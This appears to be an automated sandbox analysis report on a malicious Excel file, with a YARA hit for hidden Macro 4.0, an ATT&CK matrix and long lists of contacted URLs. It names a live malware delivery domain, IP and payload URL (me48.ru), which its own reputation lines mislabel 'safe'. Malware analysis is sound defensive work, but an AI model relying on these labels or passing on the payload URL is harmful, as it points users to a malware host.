    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: regsvr32.exe, 00000001.00000002.234708849.00000000009A0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
    Source: regsvr32.exe, 00000001.00000002.234708849.00000000009A0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
    Source: regsvr32.exe, 00000001.00000002.234708849.00000000009A0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
    Source: regsvr32.exe, 00000001.00000002.234708849.00000000009A0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

    HIPS / PFW / Operating System Protection Evasion:

    barindex
    Yara detected hidden Macro 4.0 in ExcelShow sources
    Source: Yara matchFile source: document-1421190491.xls, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting21DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumIngress Tool Transfer1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol2Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Extra Window Memory Injection1Process Injection1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol12Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting21NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptRegsvr321LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.commonDLL Side-Loading1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup ItemsExtra Window Memory Injection1DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    document-1421190491.xls34%VirustotalBrowse
    document-1421190491.xls14%MetadefenderBrowse
    document-1421190491.xls6%ReversingLabsDocument-Word.Trojan.Heuristic

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    me48.ru1%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://wus2-000.contentsync.0%URL Reputationsafe
    https://wus2-000.contentsync.0%URL Reputationsafe
    https://wus2-000.contentsync.0%URL Reputationsafe
    https://wus2-000.contentsync.0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
    https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%VirustotalBrowse
    https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://wus2-000.pagecontentsync.0%URL Reputationsafe
    https://wus2-000.pagecontentsync.0%URL Reputationsafe
    https://wus2-000.pagecontentsync.0%URL Reputationsafe
    https://wus2-000.pagecontentsync.0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    http://me48.ru/ds/231120.gif0%URL Reputationsafe
    http://me48.ru/ds/231120.gif0%URL Reputationsafe
    http://me48.ru/ds/231120.gif0%URL Reputationsafe
    http://me48.ru/ds/231120.gif0%URL Reputationsafe
    https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
    https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
    https://ncus-000.contentsync.0%URL Reputationsafe
    https://ncus-000.contentsync.0%URL Reputationsafe
    https://ncus-000.contentsync.0%URL Reputationsafe
    https://ncus-000.contentsync.0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    me48.ru
    188.225.24.87
    truefalseunknown

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://me48.ru/ds/231120.giffalse
    • URL Reputation: safe
    • URL Reputation: safe
    • URL Reputation: safe
    • URL Reputation: safe
    unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://api.diagnosticssdf.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
      high
      https://login.microsoftonline.com/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
        high
        https://shell.suite.office.com:144349FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
          high
          https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
            high
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
              high
              https://cdn.entity.49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              unknown
              https://api.addins.omex.office.net/appinfo/query49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                high
                https://wus2-000.contentsync.49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://clients.config.office.net/user/v1.0/tenantassociationkey49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                  high
                  https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                    high
                    https://powerlift.acompli.net49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://rpsticket.partnerservices.getmicrosoftkey.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://lookup.onenote.com/lookup/geolocation/v149FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                      high
                      https://cortana.ai49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                        high
                        https://cloudfiles.onenote.com/upload.aspx49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                          high
                          https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                            high
                            https://entitlement.diagnosticssdf.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                              high
                              https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                high
                                https://api.aadrm.com/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                https://ofcrecsvcapi-int.azurewebsites.net/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                unknown
                                https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                  high
                                  https://api.microsoftstream.com/api/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                    high
                                    https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                      high
                                      https://cr.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                        high
                                        https://portal.office.com/account/?ref=ClientMeControl49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                          high
                                          https://ecs.office.com/config/v2/Office49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                            high
                                            https://graph.ppe.windows.net49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                              high
                                              https://res.getmicrosoftkey.com/api/redemptionevents49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              unknown
                                              https://powerlift-frontdesk.acompli.net49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              unknown
                                              https://tasks.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                high
                                                https://officeci.azurewebsites.net/api/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                • 0%, Virustotal, Browse
                                                • Avira URL Cloud: safe
                                                unknown
                                                https://sr.outlook.office.net/ws/speech/recognize/assistant/work49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                  high
                                                  https://store.office.cn/addinstemplate49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://wus2-000.pagecontentsync.49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://outlook.office.com/autosuggest/api/v1/init?cvid=49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                    high
                                                    https://globaldisco.crm.dynamics.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                      high
                                                      https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                        high
                                                        https://store.officeppe.com/addinstemplate49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://dev0-api.acompli.net/autodetect49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://www.odwebp.svc.ms49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://api.powerbi.com/v1.0/myorg/groups49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                          high
                                                          https://web.microsoftstream.com/video/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                            high
                                                            https://graph.windows.net49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                              high
                                                              https://dataservice.o365filtering.com/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://officesetup.getmicrosoftkey.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://analysis.windows.net/powerbi/api49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                high
                                                                https://prod-global-autodetect.acompli.net/autodetect49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://outlook.office365.com/autodiscover/autodiscover.json49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                  high
                                                                  https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                    high
                                                                    https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                      high
                                                                      https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                        high
                                                                        https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                          high
                                                                          https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                            high
                                                                            http://weather.service.msn.com/data.aspx49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                              high
                                                                              https://apis.live.net/v5.0/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              unknown
                                                                              https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                high
                                                                                https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                  high
                                                                                  https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                    high
                                                                                    https://management.azure.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                      high
                                                                                      https://outlook.office365.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                        high
                                                                                        https://incidents.diagnostics.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                          high
                                                                                          https://clients.config.office.net/user/v1.0/ios49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                            high
                                                                                            https://insertmedia.bing.office.net/odc/insertmedia49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                              high
                                                                                              https://o365auditrealtimeingestion.manage.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                high
                                                                                                https://outlook.office365.com/api/v1.0/me/Activities49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                  high
                                                                                                  https://api.office.net49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                    high
                                                                                                    https://incidents.diagnosticssdf.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                      high
                                                                                                      https://asgsmsproxyapi.azurewebsites.net/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                      • 0%, Virustotal, Browse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      unknown
                                                                                                      https://clients.config.office.net/user/v1.0/android/policies49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                        high
                                                                                                        https://entitlement.diagnostics.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                          high
                                                                                                          https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                            high
                                                                                                            https://autodiscover-s.outlook.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                              high
                                                                                                              https://storage.live.com/clientlogs/uploadlocation49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                high
                                                                                                                https://templatelogging.office.com/client/log49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                  high
                                                                                                                  https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                    high
                                                                                                                    https://management.azure.com/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                      high
                                                                                                                      https://ncus-000.contentsync.49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                      • URL Reputation: safe
                                                                                                                      • URL Reputation: safe
                                                                                                                      • URL Reputation: safe
                                                                                                                      • URL Reputation: safe
                                                                                                                      unknown
                                                                                                                      https://login.windows.net/common/oauth2/authorize49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                        high
                                                                                                                        https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        unknown
                                                                                                                        https://graph.windows.net/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                          high
                                                                                                                          https://api.powerbi.com/beta/myorg/imports49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                            high
                                                                                                                            https://devnull.onenote.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                              high
                                                                                                                              https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                high
                                                                                                                                https://messaging.office.com/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://augloop.office.com/v249FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://skyapi.live.net/Activity/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        unknown
